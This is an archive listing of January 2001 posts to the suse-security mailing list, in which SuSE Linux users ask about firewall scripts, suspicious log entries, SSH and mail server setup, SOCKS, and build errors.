wolfman named[313]: refused query on non-query socket from [216.52.85.194].3506 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [216.52.153.130].3682 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [64.94.163.226].3422 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [216.52.44.194].1247 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [209.155.224.130].2919 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [63.251.143.2].25806 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [216.52.172.130].3232 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [216.52.248.222].2502 Jan 14 18:55:15 wolfman named[313]: refused query on non-query socket from [216.52.125.38].9795 snort reports them as: [**] IDS152/Ping BSDtype [**] 01/14-18:54:55.654396 216.52.172.130 -> 62.64.169.128 ICMP TTL:49 TOS:0x0 ID:1520 ID:22384 Seq:41651 ECHO [**] IDS152/Ping BSDtype [**] 01/14-18:54:55.674371 63.251.143.2 -> 62.64.169.128 ICMP TTL:48 TOS:0x0 ID:12221 ID:4905 Seq:35450 ECHO [**] IDS152/Ping BSDtype [**] 01/14-18:54:55.694383 216.52.44.194 -> 62.64.169.128 ICMP TTL:49 TOS:0x0 ID:19612 ID:414 Seq:35927 ECHO [**] IDS152/Ping BSDtype [**] 01/14-18:54:55.764391 216.52.153.130 -> 62.64.169.128 ICMP TTL:49 TOS:0x0 ID:14678 ID:17873 Seq:51298 ECHO [**] IDS152/Ping BSDtype [**] 01/14-18:54:55.784388 64.94.163.226 -> 62.64.169.128 ICMP TTL:50 TOS:0x0 ID:474 ID:19664 Seq:46591 ECHO [**] IDS152/Ping BSDtype [**] 01/14-18:54:55.904389 209.155.224.130 -> 62.64.169.128 ICMP TTL:40 TOS:0x0 ID:20509 ID:23026 Seq:32632 ECHO They usually follow the same format denials and then refusals and are happening more frequently. The list of denials each time gets longer and longer with more machines joining in. The name server that is running is caching only for a small home network. SuSE 6.4 and the firwals package. TIA Alastair Duncan

3 2

-help
by michael 16 Jan '01

16 Jan '01

1 0

btx
by Luis José Fabbiani B. (SOPORTE) 16 Jan '01

16 Jan '01

Hi, what is the utility of btx services? This service work on port 20005. If I have this service open, is my server insecure? Thanks a lot Luis.

2 1

POP3
by Luis José Fabbiani B. (SOPORTE) 16 Jan '01

16 Jan '01

Hi all, How my server can register all popper entries? I have the following option on my server: pop3 stream tcp nowait root /usr/sbin/tcpd /usr/sbin/popper -s but, this option don`t registry users pop account, only IP number. Thanks a lot. Luis.

1 0

FreeS/WAN setup on SuSE 7.0
by Rainer.Frohne＠t-online.de 15 Jan '01

15 Jan '01

Hello, trying to configure FreeS/WAN 1.4 on SuSE 7.0 with kernel 2.2.16 (SuSE-Sources) I'm wondering that I do not find something about IPSEC when I did a 'make xconfig'. On 2.0.x Kernel one has to select IPSEC when building a knew kernel. Do I have to patch the Kernel first? Or is it not nessesary to do anything with the kernel on 2.2.x Kernels? I do have the module, and when I start it, it runs without error. I hope anyone understood my broken English! Thanks in advance! Rainer

1 0

Secure web based file access
by Stefan Suurmeijer 15 Jan '01

15 Jan '01

Hi list, this is slightly OT, sorry for that, but the most knowledgeable Linux users seem to be on this list. I'm looking for a way (software?) to give users secure web-based access to their home directory. I've been looking at apache + mod_dav, but I was wondering if anyone can point me to alternatives. Users would need to be able to upload/download files from inside their webbrowser, without ftp. Any info would be appreciated (please answer off-list, so as not to clutter the list with non-SuSE specific talk). TIA Stefan

1 0

telnet crash after bruteforce
by icepic 15 Jan '01

15 Jan '01

after a bruteforce - attack on my telnet-service, i was not able to login with telnet? Is this right or is it a bug

3 3

RE: [suse-security] ICQ File Transfers
by Dan Ball 15 Jan '01

15 Jan '01

Looks like I'm gonna have to make a boot disk and upgrade my system to 7.0. I'm running ICQ2000b on the intranet side, and none of the modules mentioned support it. I'll have to put up a proxy. Thanks to all who gave input... > -----Original Message----- > From: Nix [SMTP:suse@nix.hispeed.com] > Sent: Sunday, January 14, 2001 12:08 AM > To: suse-security(a)suse.com > Subject: Re: [suse-security] ICQ File Transfers > > At 08:21 AM 10/01/2001 +0100, you wrote: > >Hi > > > >* Dan Ball wrote: > > > > > > Try using the icq_masq kernel modul. > > > > > > > I searched throughout all the documentation I could find, > including the > > > website and came up with pretty much the same modules I already > had. If > > > these are the ones you are referring to, these are the ones that > are > > loaded. > > > I did not see one for ICQ. > > > >Get this module from > >http://members.tripod.com/~djsf/masq-icq/ > > > I would setup the socks proxy included with suse 7 > icq will then have no troubles... > > > > > --- > Nix - nix(a)susesecurity.com > SuSE-Security FAQ Maintainer > http://www.susesecurity.com > > > --------------------------------------------------------------------- > To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com > For additional commands, e-mail: suse-security-help(a)suse.com

1 0

Re: [suse-security] Socks on SuSE 7.0
by Rainer.Frohne＠t-online.de 15 Jan '01

15 Jan '01

Hello Andreas, thanks for your hints! I will try it! regards Rainer ----- Original Message ----- From: "Andreas Siegert" <afx(a)atsec.com> To: "Rainer Frohne" <Rainer.Frohne(a)t-online.de> Sent: Monday, January 15, 2001 12:22 PM Subject: Re: [suse-security] Socks on SuSE 7.0 > Hi Rainer, > > > yes, I would like to use Dante, but I didn't find a HowTo to set it up > > correctly! Do you know one? > > Nope, but the README and the comments in /etc/sockd.conf where enough when I > used it. > > Best is to allow everything for a first test and then tighten it do you see > what happens. > To see for sure your clients really use SOCKS, run tcpdump while testing and > have an eye on syslog output at *.debug. > > cheers > afx > > -- > atsec information security GmbH Phone: +49-89-44249830 > Steinstrasse 68 Fax: +49-89-44249831 > D-81667 Muenchen, Germany WWW: www.atsec.com > May the Source be with you!

1 0

reiserfs kernel oops
by Ken Hughes 15 Jan '01

15 Jan '01

Any word yet from SuSE as to the validity of the reiserfs oops? I'm pretty sure I got the whole bugtraq thread, and it seemed that no one else was able to recreate the oops. I couldn't here either[1], but then again I could have been doing something wrong[2]. Cheers! [1] on my test SuSE 7.0 box [2] for the 3,621,896th time, but who's counting... -- Ken Hughes (kenh(a)ast-inc.com) | There are three ways to get Automated Systems of Tacoma, Inc. | something done: do it yourself, Information Technology | hire someone to do it, or forbid 253.475.0200(Voice) / 253.472.7164(Fax) | your kids to do it.

2 1

Re: Re: [suse-security] suggestion for ssh packaging
by r.maurizzi＠gvs.it 15 Jan '01

15 Jan '01

[Mainly offtopic] Jeremy Buchmann said: > I don't understand this weird uber-advocacy stance that says we have to > convert every single Windows user to Linux and make Linux the one and only > operating system on earth. It's completely irrational and goes against the > very idea of having a choice of computer operating systems. While I agree with you that blind advocacy is a stupid thing, I must say that more people using Linux and seeing it as a viable alternative to Windows could well make a difference for many of us: my work is maintaining a network of about 100 client PC, and as of today linux could be used to do a good 95% of all we need to do with these computer. But we have to use Windows, mainly for Office and for easy interoperability with "external" software and software houses (accounting, payrolls, etc are windows only, or at best unix-but-not-linux). If Linux will become (still) easier to use - and it's becoming more and more so - there'll be many more people and software house that will be accepting it, using it and developing for it. And I could use linux instead of Windows on a good 95% of my PCs. Doing this is not only better for me (easier administration) but also for the company I work for, that will be able to save millions in stupid licenses and associated management/"ownership" costs (did you ever try the new Windows 2000 Terminal Server License? ;) Moreover, if you're not a US citizen, maybe you could like (as I do) not having your country dumping lotsa money on the US paying for insecure, disfunctional and often plain stupid software (PLEASE flame me on private mail and not on the list, thanks! ;-) This goes without speaking of security risks (wow! back on topic! ;): we may put up very aggressive firewalls using Linux (see active probing of incoming attacks and maybe active defenses ;) but we have to accept mails and documents from the internet, and if you're using ANY mail program that uses IE HTML rendering object, or Office, you're exposing yourself to *A LOT* of threats. I follow NTBUGTRAQ to stay ahead of these problems, and I often found myself thanking the gods we don't use dangerous mail programs. But MANY times there were series of so many horrible bugs in only a few days that I was *praying* noone will want to use the combination of those to write a nasty stealth virus, or else we'll all close shop in a few months. And we cannot set up a mailfilter to check for buffer overflows and/or the use of badly signed/catalogued objects that already are on our computers. And I wouldn't put my faith in Antivirus firms either: if the exploit writer is smart and stealthy enough, they'll never see the virus before activation. Remember the CIH virus? It was very stealthy, and was caught only because a version of it was programmed to wipe your disks (and BIOSes) every month instead of every year. What if the monthly version of the virus didn't exist? Even with that and the antiviruses ready in August 1998, more than 300.000 were wiped out. This is not to say that Linux is absolutely secure and doesn't have these kinds of problems, but it *can* be more secure if we care. With windows we don't have the opition (try using tripwire on %SYSTEMROOT%\SYSTEM32 ;-). Moreover, I firmly believe that diversity is strenght, and having different people, companies, governments etc. of the world using different but faily interoperable OSes and programs will avoid having a single virus wiping out us all. Ciao, Roberto (and sorry for the rant! :-)

9 10

Firewall
by Richard 15 Jan '01

15 Jan '01

Dear All I've written my own firewall script which is probably a bit over the top but it did help me to learn more about firewalls and why people spend so much time writing them. I'd like to use the SuSE firewals RPM but it's about the only thing in SuSE software that I don't like. Apologies to Marc Huese for saying that. I know he's put a lot of work into it and he continues to do so. I'll look forward to further developments from Marc. What I'd like to know is how to tell my SuSE 7.0 dialup system to start the script at boot time. I can do this with various other bits of useful software but can't work out how to do it with firewalls. Best I've done so far is a small crowd of Red Hat users giving me all sorts of information. Thank you -- Richard http://www.sheflug.co.uk

7 7

Socks on SuSE 7.0
by Rainer.Frohne＠t-online.de 14 Jan '01

14 Jan '01

Hello, does anyone know a HowTo to set up socks on SuSE 7.0? I do not find any dokumentation on the socks webpages and in the packages! Is there a Book which anyone of you can recommend? Thanks in advance! Rainer

1 0

Re: [suse-security] ICQ File Transfers
by Widmann Thomas 14 Jan '01

14 Jan '01

Hi * Dan Ball wrote: > > Try using the icq_masq kernel modul. > > > I searched throughout all the documentation I could find, including the > website and came up with pretty much the same modules I already had. If > these are the ones you are referring to, these are the ones that are loaded. > I did not see one for ICQ. Get this module from http://members.tripod.com/~djsf/masq-icq/ ciao Thomas

2 1

Firewall
by Markus Schwaiger 13 Jan '01

13 Jan '01

Hi, I've got/want to build the following environment: Firewall: 14 ext. IP's bound to eth0:0...eth0:13 1 internal IP 192.168.1.199 (of course...) on eth1 Masquerading of the internal network Acting as public DNS Acting as proxy (squid) for the local network Mail- and Web-Server in internal network (192.168.1.200) I want to: * local PC's should more or less be allowed to get access to the usual services * foreign PC's should only be allowed to get dns, www and smtp/pop access * foreign PC's requesting www or smtp/pop services should be forwarded/masqueraded to 192.168.1.200 * ssh should be allowed for the firewall and eventually also be forwarded/masqueraded (on another port?!?) to 192.168.1.200 * everything else should be forbidden Since I couldn't manage to get SuSEfirewall 4.2 to work (everything works fine apart from the forwarding/masquerading of www/smtp/pop to the internal machine 192.168.1.200): does anybody please have an ipchains (rc.firewall) script that does more or less what I described? It's especially difficult to find an ipchains sample that does aliasing on the external interface AND port forwarding or masquerading to an internal machine. Is there something else I have to to on the firewall? Routing etc. to the outer world looks fine, ifconfig looks fine. Everything works perfect as long as the Web- and Mail-Server reside on the firewall - but that's what I need to avoid. Thanks a lot in advance!

2 1

Re: SuSEfirewall und kernel 2.4 (iptables)
by marc＠suse.de 13 Jan '01

13 Jan '01

Hi folks, > Wahrschneinlich fragen dich das viele.... > Aber wann erscheint eine SuSEfirewall auf iprtables basis ?? to answer this often asked question in public: SuSEfirewall does not support iptables or ipfwadm, only ipchains. SuSEfirewall2 1.0 will support iptables (but not ipchains or ipfwadm). As I'll be on a long holiday soon, SuSEfirewall2's first release will be end of february/begin of march. btw. selective trusted hosts/nets definitions will be in SuSEfirewall 4.3 as well as in SuSEfirewall2 1.0 - SuSEfirewall 4.3 will be released at the same time. Greets, Marc -- Marc Heuse, SuSE GmbH, Schanzaeckerstr. 10, 90443 Nuernberg E@mail: marc(a)suse.de Function: Security Research and Advisory PGP: "lynx -source http://www.suse.de/~marc/marc.pgp | pgp -fka" Key fingerprint = B5 07 B6 4E 9C EF 27 EE 16 D9 70 D4 87 B5 63 6C Private: http://www.suse.de/~marc SuSE: http://www.suse.de/security

1 0

Re: [suse-security] ipchains-log
by Max Lindner 12 Jan '01

12 Jan '01

>> >> I've a Nameserver behind my ipchains-firewall and the log says >> something about incoming connections to port 53 from port 53. What >> kind of Nameserver-service is that? I've searched, but found nothing >> concerning this connections. > >It could just be a nameserver querying your nameserver while the source >port to use has been configured to 53. This isn't usually the case, but >some admin just might have thought that it is a good idea. I wouldn't do >it because it obfuscates the logs. O.K., if I'm on the right trip, udp requests are not bad and its no real hole if i allow them. >If it's tcp and not udp, then someone might have tried to get zone files >from you. Then it is interesting, _who_ did that, with which reason. > whats so bad about other people can accessing my zone files? I thought the should do this in order to resolve the Hostname... Or is there only a risk when you have 'internal' zone files on this NS (that's not the case...)? Thanks for help. Max

3 2

RE: [suse-security] SSH whereis and installing
by Timothy E Bogue 12 Jan '01

12 Jan '01

Thanks for the reply. All you comments were helpful. Notes: ftp://ftp.suse.de/pub/suse/i386/7.0/sec1/ssh.rpm It is the version on the CDs that wasn't packed on the US-Version. The original compiles out-of-the box. We include a later, stable version because of licensing issues. Again Thanks. Tim

1 0

Re: [suse-security] Martian source
by Corvin Russell 12 Jan '01

12 Jan '01

This is a FAQ. I asked the same question back in July, and this was the best answer I got: http://archives.neohapsis.com/archives/linux/suse/2000-q3/0161.html In general, such messages indicate misconfiguration or, potentially, monkey business. Any given case requires investigation and interpretation to decide what the specific cause is. Since I am not an expert, I won't venture any guidelines here. The relevant documentation is RFC1812, wherefrom the following: 5.3.7 Martian Address Filtering An IP source address is invalid if it is a special IP address, as defined in 4.2.2.11 or 5.3.7, or is not a unicast address. An IP destination address is invalid if it is among those defined as illegal destinations in 4.2.3.1, or is a Class E address (except 255.255.255.255). A router SHOULD NOT forward any packet that has an invalid IP source address or a source address on network 0. A router SHOULD NOT forward, except over a loopback interface, any packet that has a source address on network 127. A router MAY have a switch that allows the network manager to disable these checks. If such a switch is provided, it MUST default to performing the checks. A router SHOULD NOT forward any packet that has an invalid IP destination address or a destination address on network 0. A router SHOULD NOT forward, except over a loopback interface, any packet that has a destination address on network 127. A router MAY have a switch that allows the network manager to disable these checks. If such a switch is provided, it MUST default to performing the checks. If a router discards a packet because of these rules, it SHOULD log at least the IP source address, the IP destination address, and, if Baker Standards Track [Page 96] RFC 1812 Requirements for IP Version 4 Routers June 1995 the problem was with the source address, the physical interface on which the packet was received and the Link Layer address of the host or router from which the packet was received. 5.3.8 Source Address Validation A router SHOULD IMPLEMENT the ability to filter traffic based on a comparison of the source address of a packet and the forwarding table for a logical interface on which the packet was received. If this filtering is enabled, the router MUST silently discard a packet if the interface on which the packet was received is not the interface on which a packet would be forwarded to reach the address contained in the source address. In simpler terms, if a router wouldn't route a packet containing this address through a particular interface, it shouldn't believe the address if it appears as a source address in a packet read from this interface. If this feature is implemented, it MUST be disabled by default. DISCUSSION This feature can provide useful security improvements in some situations, but can erroneously discard valid packets in situations where paths are asymmetric. -- Corvin Russell <corvinr(a)sympatico.ca>

1 0

intrusion attempt?
by Marko Saha 12 Jan '01

12 Jan '01

Hi all! Today I found that i couldn't connect to my SuSe 7.0 Linux box through ssh and the console were dead. After switching the power and looking through logfiles I found this: ----- Jan 12 05:25:29 webhost kernel: Packet log: input DENY eth0 PROTO=17 0.0.0.0:30587 255.255.255.255:30591 L=28 S=0x00 I=12830 F=0x0000 T=1 (#40) Jan 12 05:25:29 webhost kernel: Packet log: input DENY eth0 PROTO=17 0.0.0.0:30587 255.255.255.255:30591 L=28 S=0x00 I=12878 F=0x0000 T=1 (#40) Jan 12 05:25:29 webhost PAM-unix2[1378]: bad username [ ] Jan 12 05:25:29 webhost login[1378]: FAILED LOGIN 1 FROM /dev/tty1 FOR UNKNOWN, User not known to the underlying authentication module ----- After that last entry there was nothing in /var/log/messages until after I've reseted the box. The box is at home so there are no other than I who have console access. I'm running custom made ipchains rules that blocks all but ssh, ntp and http. Do you people on the list have any ideas what could have happend? Thanks, Marko marko.saha(a)telia.com

1 0

ipchains-log
by Max Lindner 12 Jan '01

12 Jan '01

Hi all! I've a Nameserver behind my ipchains-firewall and the log says something about incoming connections to port 53 from port 53. What kind of Nameserver-service is that? I've searched, but found nothing concerning this connections. Thanks for help. Max

2 1

SSH whereis and installing
by Timothy E Bogue 12 Jan '01

12 Jan '01

Hi, I'm in the process of setting up a email reference server in the Documents Department in the University Library at UIC at Chicago. I have set up the server, but I will need to be using SSH for remote logins, etc. Where can I find SSH? I've looked in the SuSE Linux 7.0 professional's CD's and at SuSE's ftp site. Will the SSH at ftp://ftp.ssh.com/pub/ssh/ install without any trouble? I'm (really) new to Linux and the Unix way of doing things. Any help finding SSH and the easiest way to install it would be appreciated. Thanks. Tim

4 3

Martian source
by Togan Muftuoglu 12 Jan '01

12 Jan '01

hi everyone, I had the following info in my log files. IIRC martian source is something it should not come from there but it dit. however I happen to be unable tofind info to understand more about the martian source can someone point me some documentation and in the mean time should I wory about these ? Jan 12 12:49:59 isguzar kernel: martian source 3801a8c0 for 550439d4, dev ppp0 Jan 12 12:49:59 isguzar kernel: ll header: 45 00 03 da Jan 12 12:50:05 isguzar kernel: martian source 3801a8c0 for 550439d4, dev ppp0 Jan 12 12:50:05 isguzar kernel: ll header: 45 00 03 da Jan 12 12:50:27 isguzar kernel: martian source 3801a8c0 for 550439d4, dev ppp0 Jan 12 12:50:27 isguzar kernel: ll header: 45 00 03 da Jan 12 12:50:45 isguzar kernel: martian source 3801a8c0 for 550439d4, dev ppp0 Jan 12 12:50:45 isguzar kernel: ll header: 45 00 03 da Jan 12 12:51:37 isguzar kernel: martian source 3801a8c0 for 550439d4, dev ppp0 Jan 12 12:51:37 isguzar kernel: ll header: 45 00 03 da -- Togan Muftuoglu

1 0

POP3/IMAP with TLS/SSL; UW-IMAP-2000
by Tobias Burnus 11 Jan '01

11 Jan '01

Hi, a) which programs do you recommend for POP3 and IMAP which are capable to do TLS/SSL? I looked at Qualcom's popper, but 3.1 doesn't have it and 4 is to expensive ($300/CPU) and Cyrus IMAP server doesn't seem to support it. I saw that http://www.washington.edu/imap/ has a imap server which seems to support it. Has anyone any experience with it? b) Will SuSE 7.1 include a uw-imap.rpm (UW-IMAP-2000)? Tobias PS: We have still a pop2 server running, is there any program which still requires (or support) it? (If not, we will close a port.) -- This above all: To thine own self be true / And it must follow as the night the day / Thou canst not then be false to any man.

4 3

SuSE Firewall: looking for a control who can connect from internal net to the internet
by Christoph Haas 11 Jan '01

11 Jan '01

Hello! I'm looking for a way to configure my SuSE 7.0-firewall-script (v2.6), that I can control which IP-address is allowed to get through to the internet. If I configure 'FW_MASQUERADE=yes' and 'FW_MASQ_NETS="172.16.0.0/255.255.0.0" ', every machine of the 172.16.x.x-net is able to connect to the internet. But I need to allow certain IP-addresses internet and other IP-addresses of the same (sub)net mustn't be able to do so. If possible it should be configurable in an external file. Any hints? TIA Christoph. ,,, (o o) +--------------------------oOO--(_)--OOo----------------------------+ | Christoph Haas | | Linux User #99546 | | email: christoph(a)haas.net | +-------------------------------------------------------------------+

2 1

wrong date with last command
by dany allard 11 Jan '01

11 Jan '01

I use the last and lastb command to see what accounts have been logged into and to see if there is any unusual logins. The date and time for FTP and console logins are correct, but for telnet and ssh logins the date show up as username pts/3 Thu Jan 1 00:00 is there a way to fix this? did someone change something? using Suse 6.4 thanks Dany Allard

1 0

Re: [suse-security] Deny ippp0, Firewall has blocked!
by uwe_kersten＠t-online.de 11 Jan '01

11 Jan '01

Am Donnerstag, 11. Januar 2001 13:40 schrieben Sie: > Uwe Kersten: > > I am a newbie to this stuff, but I think it was a udp request from port > > 23116 of IP 195.126.154..134 (I looked up RIPE for this address) to > > Port 6970 of my (dyn.) IP. This took about 5 minutes, till it ended. L > > changed between 602 and 611. So what? Should I investigate more > > about this case, what happened, do I have to worry? > > Think. > > You have a dynamic IP. > > What would happen if you get the same number as another user, who tried to > access a resource on another server, and got cut off just before you dialed > in? > > Peter Hi Peter! Dynamic IP is rather relative when you have a flat rate, when you use a dynamic dns service etc. I am a little worried because at the time the firewall blocked I did some e-commerce (bought a Music CD). And I was online with this IP for hours and hours. Strange thing Uwe

1 0

Deny ippp0, Firewall has blocked!
by uwe_kersten＠t-online.de 11 Jan '01

11 Jan '01

Hi Folks! This night I started my first firewall script and no I find something interesting in my log file. I am not sure wether I understand right what has happened. So here is the entry: Jan 11 11:36:15 linux kernel: Packet log: input DENY ippp0 PROTO=17 195.126.154.134:23116 217.0.41.97:6970 L=611 S=0x00 I=33417 F=0x0000 T=119 (#76) I am a newbie to this stuff, but I think it was a udp request from port 23116 of IP 195.126.154..134 (I looked up RIPE for this address) to Port 6970 of my (dyn.) IP. This took about 5 minutes, till it ended. L changed between 602 and 611. So what? Should I investigate more about this case, what happened, do I have to worry? Thanks and regards Uwe

1 0

Traffic Shaping
by Markus Gaugusch 11 Jan '01

11 Jan '01

I'd like to implement a traffic shaper on some of my firewalls to prevent over-use (and to have a useable ssh connection even if all people are downloading like crazy ;-) I read the Advanced Routing Howto, but it's incomplete and some numbers are not explained, so I don't know how to change them for my setup. Has anyone here ever configured a traffic shaper (QoS, iproute2, ...) and can post a script or something to the list? I need it mostly for cable and ISDN connections. Thank you very much Markus Gaugusch -- _____________________________ /"\ Markus Gaugusch ICQ 11374583 \ / ASCII Ribbon Campaign markus(a)gaugusch.dhs.org X Against HTML Mail / \

2 1

2.4.0 kernel firewalling
by Daniel Curry 11 Jan '01

11 Jan '01

Is there a how to for setting up IPTables? I am testing the 2.4.0 kernel and am interested in setting up IPTables. Directions, links and personal experience/commentaries would be appreciated. Thanks Daniel Curry

3 2

Doorgest.: Re: major security bug in reiserfs (may affect SuSE Linux)
by Dave Woutersen 11 Jan '01

11 Jan '01

More info.....

1 0

RE: [suse-security] Email behaviour
by dg＠pinck.ch 11 Jan '01

11 Jan '01

Raffy wrote: >> 137/TCP is the NETBIOS Name Service. So the remote mailserver might be >> a (misconfigured?) Windows-Box. >> >> It's nothing dangerous, AFAIK. > >But is this a thing one can configure or not? I would rather advise that >admin to stop doing so than doing nothing. It will not help you. What about simply denying NETBIOS? When I put my firewall online, the first probe I always get (within 30s) is 137/TCP NETBIOS. It comes from an address resolving in xyz.BROADCAST.MICROSOFT.it or equivalent (quoting from memory) All the best. -- Denis

1 0

help with ntp
by Philipp Snizek 11 Jan '01

11 Jan '01

Hi all On one box ntp from ntp.org is running well. On the other machine (99% same config) it does not run. here're the errormessages. Can somebody help? ` mail:/ntp-4.0.99k # make install Compiling with GCC now generates lots of new warnings. Don't be concerned. They're just warnings. Don't send bug reports about the warnings, either. Feel free to send patches that fix these warnings, though. cd . \ && CONFIG_FILES=Makefile CONFIG_HEADERS= /bin/sh ./config.status creating Makefile executing commands of default-1 executing commands of default-2 executing commands of default Making install in scripts make[1]: Entering directory `/ntp-4.0.99k/scripts' make[2]: Entering directory `/ntp-4.0.99k/scripts' make[2]: Nothing to be done for `install-exec-am'. make[2]: Nothing to be done for `install-data-am'. make[2]: Leaving directory `/ntp-4.0.99k/scripts' make[1]: Leaving directory `/ntp-4.0.99k/scripts' Making install in include make[1]: Entering directory `/ntp-4.0.99k/include' make[2]: Entering directory `/ntp-4.0.99k/include' make[2]: Nothing to be done for `install-exec-am'. make[2]: Nothing to be done for `install-data-am'. make[2]: Leaving directory `/ntp-4.0.99k/include' make[1]: Leaving directory `/ntp-4.0.99k/include' Making install in ElectricFence make[1]: Entering directory `/ntp-4.0.99k/ElectricFence' make[2]: Entering directory `/ntp-4.0.99k/ElectricFence' make[2]: Nothing to be done for `install-exec-am'. make[2]: Nothing to be done for `install-data-am'. make[2]: Leaving directory `/ntp-4.0.99k/ElectricFence' make[1]: Leaving directory `/ntp-4.0.99k/ElectricFence' Making install in librsaref make[1]: Entering directory `/ntp-4.0.99k/librsaref' for i in desc.c digit.c md2c.c md5c.c nn.c prime.c r_dh.c r_encode.c r_enhanc.c r_keygen.c r_random.c r_stdlib.c rsa.c des.h digit.h md2.h md5.h nn.h prime.h r_random.h rsa.h rsaref.h; do \ case "" in \ '') touch $i ;; \ *) case "$i" in \ *.h) r_dst=./$i ;; \ *) r_dst=$i ;; \ esac ; \ cmp -s ${r_dst} ./../rsaref2/source/$i 2>/dev/null \ || cp ./../rsaref2/source/$i ${r_dst} ;; \ esac ; \ done cd .. \ && CONFIG_FILES=librsaref/Makefile CONFIG_HEADERS= /bin/sh ./config.status creating librsaref/Makefile executing commands of default-1 executing commands of default-2 executing commands of default make[1]: Leaving directory `/ntp-4.0.99k/librsaref' make[1]: Entering directory `/ntp-4.0.99k/librsaref' make[2]: Entering directory `/ntp-4.0.99k/librsaref' make[2]: Nothing to be done for `install-exec-am'. make[2]: Nothing to be done for `install-data-am'. make[2]: Leaving directory `/ntp-4.0.99k/librsaref' make[1]: Leaving directory `/ntp-4.0.99k/librsaref' Making install in libntp make[1]: Entering directory `/ntp-4.0.99k/libntp' source='a_md5encrypt.c' object='a_md5encrypt.o' libtool=no \ depfile='.deps/a_md5encrypt.Po' tmpdepfile='.deps/a_md5encrypt.TPo' \ depmode=gcc /bin/sh ../depcomp \ gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -I../librsaref -g -O2 -Wall -Wshadow -Wconversion -Wpointer-arith -Wcast-qual -Wstrict-prototypes -pipe -c -o a_md5encrypt.o `test -f a_md5encrypt.c || echo './'`a_md5encrypt.c In file included from /usr/include/string.h:346, from /usr/include/memory.h:30, from ../include/ntp_string.h:13, from a_md5encrypt.c:20: /usr/include/bits/string2.h: In function `__strsep_g': /usr/include/bits/string2.h:1171: warning: passing arg 2 of `__strpbrk_c2' with different width due to prototype /usr/include/bits/string2.h:1171: warning: passing arg 3 of `__strpbrk_c2' with different width due to prototype /usr/include/bits/string2.h:1171: warning: passing arg 2 of `__strpbrk_c3' with different width due to prototype /usr/include/bits/string2.h:1171: warning: passing arg 3 of `__strpbrk_c3' with different width due to prototype /usr/include/bits/string2.h:1171: warning: passing arg 4 of `__strpbrk_c3' with different width due to prototype source='adjtime.c' object='adjtime.o' libtool=no \ depfile='.deps/adjtime.Po' tmpdepfile='.deps/adjtime.TPo' \ depmode=gcc /bin/sh ../depcomp \ gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -I../librsaref -g -O2 -Wall -Wshadow -Wconversion -Wpointer-arith -Wcast-qual -Wstrict-prototypes -pipe -c -o adjtime.o `test -f adjtime.c || echo './'`adjtime.c source='atoint.c' object='atoint.o' libtool=no \ depfile='.deps/atoint.Po' tmpdepfile='.deps/atoint.TPo' \ depmode=gcc /bin/sh ../depcomp \ gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -I../librsaref -g -O2 -Wall -Wshadow -Wconversion -Wpointer-arith -Wcast-qual -Wstrict-prototypes -pipe -c -o atoint.o `test -f atoint.c || echo './'`atoint.c In file included from /usr/include/string.h:346, from /usr/include/memory.h:30, from ../include/ntp_string.h:13, from ../include/ntp_stdlib.h:7, from atoint.c:8: /usr/include/bits/string2.h: In function `__strsep_g': /usr/include/bits/string2.h:1171: warning: passing arg 2 of `__strpbrk_c2' with different width due to prototype /usr/include/bits/string2.h:1171: warning: passing arg 3 of `__strpbrk_c2' with different width due to prototype /usr/include/bits/string2.h:1171: warning: passing arg 2 of `__strpbrk_c3' with different width due to prototype /usr/include/bits/string2.h:1171: warning: passing arg 3 of `__strpbrk_c3' with different width due to prototype /usr/include/bits/string2.h:1171: warning: passing arg 4 of `__strpbrk_c3' with different width due to prototype source='atolfp.c' object='atolfp.o' libtool=no \ depfile='.deps/atolfp.Po' tmpdepfile='.deps/atolfp.TPo' \ depmode=gcc /bin/sh ../depcomp \ gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../include -I../librsaref -g -O2 -Wall -Wshadow -Wconversion -Wpointer-arith -Wcast-qual -Wstrict-prototypes -pipe -c -o atolfp.o `test -f atolfp.c || echo './'`atolfp.c In file included from /usr/include/bits/posix1_lim.h:126, from /usr/include/limits.h:30, from /usr/lib/gcc-lib/i486-suse-linux/2.95.2/include/limits.h:117, from /usr/lib/gcc-lib/i486-suse-linux/2.95.2/include/syslimits.h:7, from /usr/lib/gcc-lib/i486-suse-linux/2.95.2/include/limits.h:11, from /usr/include/bits/socket.h:31, from /usr/include/sys/socket.h:34, from ../include/ntp_fp.h:9, from atolfp.c:7: /usr/include/bits/local_lim.h:27: linux/limits.h: No such file or directory In file included from /usr/include/sys/socket.h:34, from ../include/ntp_fp.h:9, from atolfp.c:7: /usr/include/bits/socket.h:295: asm/socket.h: No such file or directory In file included from /usr/include/string.h:346, from /usr/include/memory.h:30, from ../include/ntp_string.h:13, from atolfp.c:8: /usr/include/bits/string2.h: In function `__strsep_g': /usr/include/bits/string2.h:1171: warning: passing arg 2 of `__strpbrk_c2' with different width due to prototype /usr/include/bits/string2.h:1171: warning: passing arg 3 of `__strpbrk_c2' with different width due to prototype /usr/include/bits/string2.h:1171: warning: passing arg 2 of `__strpbrk_c3' with different width due to prototype /usr/include/bits/string2.h:1171: warning: passing arg 3 of `__strpbrk_c3' with different width due to prototype /usr/include/bits/string2.h:1171: warning: passing arg 4 of `__strpbrk_c3' with different width due to prototype make[1]: *** [atolfp.o] Error 1 make[1]: Leaving directory `/ntp-4.0.99k/libntp' make: *** [install-recursive] Error 1 mail:/ntp-4.0.99k # TIA very muchos Philipp

2 1

major security bug in reiserfs (may affect SuSE Linux)
by Dave Woutersen 11 Jan '01

11 Jan '01

Hi all, I Found the following mail-alert in de BUGTRAQ-maillinglist. Can anyone confirm this hole?? Greetings, Dave

4 3

RE: [suse-security] Email behaviour
by Raffy 10 Jan '01

10 Jan '01

> 137/TCP is the NETBIOS Name Service. So the remote mailserver might be > a (misconfigured?) Windows-Box. > > It's nothing dangerous, AFAIK. But is this a thing one can configure or not? I would rather advise that admin to stop doing so than doing nothing. Thanks Raffy

2 1

SuSEfirewall
by Ulrich Schneider 10 Jan '01

10 Jan '01

